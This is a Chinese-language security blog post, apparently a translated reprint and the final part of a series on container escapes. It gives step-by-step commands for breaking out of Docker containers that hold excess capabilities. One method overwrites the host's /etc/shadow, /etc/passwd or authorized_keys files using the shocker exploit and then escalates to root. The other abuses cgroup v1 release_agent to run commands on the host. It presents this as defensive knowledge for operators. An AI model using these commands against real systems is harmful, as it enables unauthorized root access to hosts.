06 覆盖主机上的文件
逃逸说明
DAC_OVERRIDE 功能允许绕过读、 写和执行权限检查。使用 DAC_READ_SEARCH 和 DAC_OVERRIDE 功能运行的容器可以读取和写入主机文件系统上的文件。在这次逃逸中,我们将使用这些功能来更新主机上的用户凭据文件,然后使用更新后的凭据登录主机。
在这个容器逃逸技术中,我们将提供两个选项:
1. 通过覆盖主机上的 /etc/shadow 和 /etc/passwd 文件来更新用户的登录密码。
2. 使用生成的 SSH 公钥(我们拥有其私钥)覆盖主机上的 ~/.ssh/authorized_keys 文件来更新用户的 SSH 认证密钥。
易受攻击容器和主机要求
1. 所需的最低 Linux 功能:DAC_READ_SEARCH、DAC_OVERRIDE(DAC_READ_SEARCH 功能允许从容器的主机读取文件,DAC_OVERRIDE 功能允许在容器的主机上写入文件)。
2. 所需的容器设置:容器应安装以下工具:
apt
install
-y vim
# or any other editor
apt
install
-y ssh
apt
install
-y gcc
3. 所需容器的主机设置:容器的主机应安装 openssh-server 软件包。
sudo apt
install
openssh-
server
设置易受攻击容器的命令
选项 1 :覆盖用户密码:
docker run -it --
cap
-drop=ALL --
cap
-add=DAC_OVERRIDE --
cap
-add=DAC_READ_SEARCH --
cap
-add=SETGID --
cap
-add=SETUID --
cap
-add=CHOWN --
cap
-add=FOWNER ubuntu bash
获取额外功能的命令
docker run -it --
cap
-drop=ALL --
cap
-add=DAC_OVERRIDE --
cap
-add=DAC_READ_SEARCH --
cap
-add=CHOWN --
cap
-add=SETGID --
cap
-add=SETUID --
cap
-add=FOWNER ubuntu bash
注意:创建新用户需要 CHOWN 功能。
选项 2 :覆盖用户的认证密钥:
docker run -it --
cap
-drop=ALL --
cap
-add=DAC_OVERRIDE --
cap
-add=DAC_READ_SEARCH ubuntu bash
获取额外功能的命令
docker run -it --
cap
-drop=ALL --
cap
-add=DAC_OVERRIDE --
cap
-add=DAC_READ_SEARCH --
cap
-add=SETGID --
cap
-add=SETUID --
cap
-add=CHOWN --
cap
-add=FOWNER ubuntu bash
逃离容器的命令
在此技术中,我们使用 先前转义技术中的 shocker.c漏洞利用代码和shocker_write.c 将文件写入主机。
选项 1 - 覆盖用户密码:
# Copy and paste the shocker.c content
vim
shocker.c
gcc
-o read shocker.c
# Copy and paste the shocker_write.c content
vim
shocker_write.c
gcc
-o write shocker_write.c
# Use the ./read to read files from host: ./read /host/path /container/path
/etc/shadow shadow
/etc/passwd passwd
# Create new user and reset its password
useradd
<USER-NAME>
echo
'<USER-NAME>:<PASSWORD>' | chpasswd
# Update the new user details in the copied files from host
tail
-1 /etc/passwd >> passwd
tail
-1 /etc/shadow >> shadow
# Copy the new user password hash paste it also for the root user in the shadow file. This will allow us to elevate permissions on the host.
vim
shadow
# Use the ./write to write files from host: ./write /host/path /container/path
/etc/passwd passwd
/etc/shadow shadow
# Connect to host over ssh using the new user (unprivileged)
ssh
<USER>@<HOST-IP>
# Elevate privileges to root user with the new password
su
注意:我们选择使用新的非特权用户进行逃逸,然后将主机的权限提升为 root,包括 sshd_config 文件中“PermitRootLogin”选项设置为“no”的情况。
选项 2 – 覆盖用户的认证密钥:
# Generate new ssh key
ssh-keygen
# Copy and paste the shocker.c content
vim
shocker.c
gcc
-o read shocker.c
# Copy and paste the shocker_write.c content
vim
shocker_write.c
gcc
-o write shocker_write.c
# Use the ./read to read files from host: ./read /host/path /container/path
~/.ssh/authorized_keys authorized_keys
# Copy the new ssh public key
# Remove the 'authorized_keys' content and paste the public key
vim
authorized_keys
# Use the ./write to write files from host: ./write /host/path
~/.ssh/authorized_keys authorized_keys
# Connect to host over ssh
ssh
-i <PRIVATE-KEY> <USER>@<HOST-IP>
07 滥用notify_on_release
逃逸说明
Cgroups(控制组) 是 一个内核功能,允许在 Linux 系统中进行资源分配和管理。Cgroup 是虚拟文件系统,其中包含一些描述 cgroup 及其限制的文件。Cgroups 版本 1 包含一个内容可以是1或0的“notify_on_release”文件,。如果启用“notify_on_relesae”(内容为1),当 cgroup 中的最后一个任务离开时,内核将执行“release_agent”文件中指定的命令。在接下的逃逸技术中,受Felix Wilhelm的启发,我们将使用此功能在主机上执行任意命令。
https
://twitter.com/_fel1x/status/1151487051986087936?ref_src=twsrc
%5
Etfw
%7
Ctwcamp
%5
Etweetembed
%7
Ctwterm
%5
E1151487053370187776
%7
Ctwgr
%5
E08f2ef3f9e69e5351223327ef9c1639cd97c4f89
%7
Ctwcon
%5
Es2_&ref_url=https
%3
A
%2
F
%2
Fblog.trailofbits.com
%2
F2019
%2
F07
%2
F19
%2
Funderstanding-docker-container-escapes
%2
F
易受攻击容器和主机要求
1. 所需的最低 Linux 功能:SYS_ADMIN、DAC_OVERRIDE(SYS_ADMIN 功能允许执行 “mount” 命令,DAC_OVERRIDE 功能允许在容器的主机上写入文件)。
2. 所需容器的主机设置:容器的主机应具有使用 cgroups 版本 1 的内核版本。
提示:您可以通过执行以下命令来检查容器的主机cgroups版本:
mount
| grep
'^cgroup'
| awk
$5
}'
| uniq
设置易受攻击容器的命令
docker run -it --
cap
-drop=ALL --
cap
-add=SYS_ADMIN --
cap
-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu:16.04 bash
获取额外功能的命令
docker run -it --
cap
-drop=ALL --
cap
-add=SYS_ADMIN --
cap
-add=DAC_OVERRIDE --
cap
-add=SETGID --
cap
-add=SETUID --
cap
-add=CHOWN --
cap
-add=FOWNER --security-opt apparmor=unconfined ubuntu:16.04 bash
注意:即使将 SYS_ADMIN 功能分配给容器进程,AppArmor 保护也会禁用 “mount”操作。因此,我们在创建易受攻击的容器期间禁用 AppArmor。
提示:您可以通过检查“/proc/$$/attr/current”文件来查看哪个 AppArmor 配置文件(如果有)用于容器的进程。
逃逸容器的命令
# create /tmp/cgrp, mount RDMA cgroup controller into it and create child cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enable the notify_on_release flag
echo
1 > /tmp/cgrp/x/notify_on_release
# Define host_path parameter with the container path on host
host_path=`sed -n
's/.*perdir=([^,]*).*/1/p'
/etc/mtab`
# Define path in release_agent which execute when all a cgroup tasks are done.
echo
"
$host_path
/cmd"
> /tmp/cgrp/release_agent
echo
'#!/bin/sh'
> /cmd
echo
"ps aux >
$host_path
/output"
>> /cmd
08 总结
在当今不断发展的数字环境中,容器逃逸对容器安全构成重大威胁。由于容器已成为应用程序部署的首选,因此了解用于突破容器边界的各种技术至关重要。
通过这篇文章,我们深入研究了七种常见的容器逃逸技术,阐明了每种方法所需的基本配置和最低限度的 Linux 功能。通过提供这些知识,我们使容器运维人员能够评估其容器的脆弱性并确定最有效的保护措施。请记住,容器逃逸可能会允许未经授权的访问并损害应用程序和系统的完整性。通过了解和解决这些风险,我们可以强化容器环境并确保应用程序的安全性和可靠性。
参考及来源:
https://www.panoptica.app/research/7-ways-to-escape-a-container
原文始发于微信公众号(安全小白团):容器逃逸的7种方式 0x3(终章)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论